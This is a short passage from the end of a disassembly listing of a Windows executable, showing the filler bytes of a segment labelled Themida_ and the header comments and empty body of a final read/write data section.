'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллл',0 align 800h Themida_ ends ; Section 5. (virtual address 001C1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C1000h align 2000h _idata2 ends end start